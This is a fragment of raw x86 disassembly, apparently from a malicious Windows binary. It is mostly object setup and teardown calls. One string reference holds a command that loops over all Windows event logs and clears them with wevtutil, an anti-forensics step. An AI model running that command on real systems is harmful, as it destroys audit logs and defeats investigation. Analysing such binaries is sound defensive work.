call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x88
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043a940
lea ecx, [ebp - 0x88c]
call fcn.00405330
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x89
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043a940
sub esp, 0x3c
mov esi, esp
mov ecx, 0x5200a0
push 0
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x8a
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x8b
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x8c
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043a940
sub esp, 0x3c
mov esi, esp
push 0
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
mov ecx, 0x5200a0
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x8d
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x874]
call fcn.0043a940
lea ecx, [ebp - 0x874]
call fcn.00405330
lea ecx, [ebp - 0x874]
call fcn.00405240
lea ecx, [ebp - 0x88c]
call fcn.00405240
lea ecx, [ebp - 0x8a4]
call fcn.00405240
lea ecx, [ebp - 0x8bc]
mov byte [ebp - 4], 0x63
call fcn.00405240
jmp 0x42e4a4
mov edx, str.Lpath
mov ecx, 0x5200b8
call fcn.004390a0
test al, al
je 0x42e491
mov cl, 1
call fcn.0041daf0
xor cl, cl
call fcn.0041daf0
cmp byte [0x5200e9], 1
jne 0x42e4a4
mov cl, 1
mov byte [0x5200ef], 1
call fcn.0041daf0
xor cl, cl
call fcn.0041daf0
jmp 0x42e4a4
call fcn.0041f570
cmp byte [0x5200e9], 1
jne 0x42e4a4
call fcn.0041f570
mov edx, str.for__F__tokens___1_in__wevtutil.exe_el__DO_wevtutil.exe_cl___1_
lea ecx, [ebp - 0x19e8]
call fcn.00408780
lea ecx, [ebp - 0x19e8]
call fcn.00431ac0
lea ecx, [ebp - 0xb4c]
call fcn.00431ac0
lea ecx, [ebp - 0xa8c]
call fcn.00431ac0
lea ecx, [ebp - 0x9b4]
call fcn.004049c0
lea ecx, [ebp - 0xc84]
call fcn.004078d0
lea ecx, [ebp - 0x82c]
call fcn.004049c0
lea ecx, [ebp - 0x85c]
call fcn.004049c0
lea ecx, [ebp - 0xb34]
call fcn.00431ac0
lea ecx, [ebp - 0xb1c]
call fcn.00431ac0
lea ecx, [ebp - 0xb04]
call fcn.00431ac0
lea ecx, [ebp - 0xaec]
call fcn.00431ac0
lea ecx, [ebp - 0xad4]
call fcn.00431ac0
lea ecx, [ebp - 0xabc]
call fcn.00431ac0
lea ecx, [ebp - 0xaa4]
call fcn.00431ac0
lea ecx, [ebp - 0xa14]
call fcn.00431ac0
lea ecx, [ebp - 0x96c]
call fcn.004049c0
lea ecx, [ebp - 0x9cc]
call fcn.004049c0
lea ecx, [ebp - 0x954]
call fcn.004049c0
lea ecx, [ebp - 0x93c]
call fcn.00431ac0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004905bb
mov esp, ebp
pop ebp
ret